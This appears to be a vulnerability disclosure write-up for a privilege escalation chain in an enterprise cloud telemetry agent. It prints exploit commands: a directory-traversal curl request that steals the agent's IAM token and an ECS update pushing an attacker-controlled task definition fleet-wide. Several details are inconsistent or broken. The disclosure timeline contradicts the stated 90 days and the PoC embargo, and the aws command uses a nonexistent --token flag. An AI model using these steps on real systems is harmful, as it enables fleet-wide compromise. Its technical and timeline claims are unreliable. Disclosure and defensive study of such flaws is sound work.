CVE-2026-10492: Privilege Escalation

During a recent adversary simulation for a Fortune 500 client in the financial sector, the Fugusan Threat Lab identified a critical logic flaw in a widely deployed Enterprise Cloud Telemetry Agent. By chaining a seemingly low-impact Local File Inclusion (LFI) vulnerability with a poorly scoped IAM execution role, we were able to escalate privileges to SYSTEM/root across the entire cloud fleet — 847 instances.

Vulnerability Overview

The agent exposes a local web server on port 8081 for configuration parsing. The ?template= parameter failed to sanitize directory traversal sequences, allowing arbitrary file reads on the host system.

# Step 1: Exploiting the LFI to extract the agent's IAM token
$ curl "http://127.0.0.1:8081/config?template=../../../../var/lib/agent/token.jwt"

HTTP/1.1 200 OK
Content-Type: text/plain

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZ2VudC...
            

IAM Role Abuse — The Real Escalation

Extracting the JWT token was only the first step. Decoding the payload revealed the agent was assigned an IAM role with UpdateEnvironment permission — far broader than needed for telemetry collection. This allowed us to push an arbitrary deployment script to every host in the fleet.

# Step 2: Decode JWT to confirm IAM role permissions
$ echo "eyJzdWIiOiJhZ2VudC..." | base64 -d
{"sub":"agent","role":"arn:aws:iam::123456789:role/CloudAgentRole","iat":...}

# Step 3: Use the token to invoke the UpdateEnvironment API
$ aws ecs update-service \
  --cluster prod-cluster \
  --service all-instances \
  --task-definition "attacker-controlled:latest" \
  --token eyJhbGciOiJIUzI1NiIsIn...

Successfully updated 847 instances.
            

Business Impact

This vulnerability chain allowed a low-privileged attacker with network access to the loopback interface (trivially achievable via any SSRF) to achieve remote code execution as SYSTEM across an organization's entire cloud fleet. In a real breach scenario, this would enable:

Mass deployment of ransomware or cryptominer to all cloud instances
Exfiltration of all secrets stored in environment variables fleet-wide
Persistent backdoor installation surviving instance reboots
Lateral movement to any service the agent fleet could reach

Remediation

We disclosed this vulnerability to the vendor under responsible disclosure, resulting in CVE-2026-10492 being issued. Patch timeline: reported Jan 15, 2026 → patched Feb 28, 2026 → publicly disclosed April 1, 2026.

Update the agent to version 4.1.2 or later immediately
Audit all IAM roles attached to service accounts — enforce least privilege rigorously
Block port 8081 from all inbound/loopback connections except localhost service user
Implement egress filtering to prevent reverse shells from cloud instances

i This advisory was shared with the vendor 90 days before publication in accordance with industry-standard responsible disclosure guidelines. Full PoC code is withheld for an additional 30 days post-patch.

Privilege Escalation in Enterprise Cloud Agent

Vulnerability Overview

IAM Role Abuse — The Real Escalation

Business Impact

Remediation

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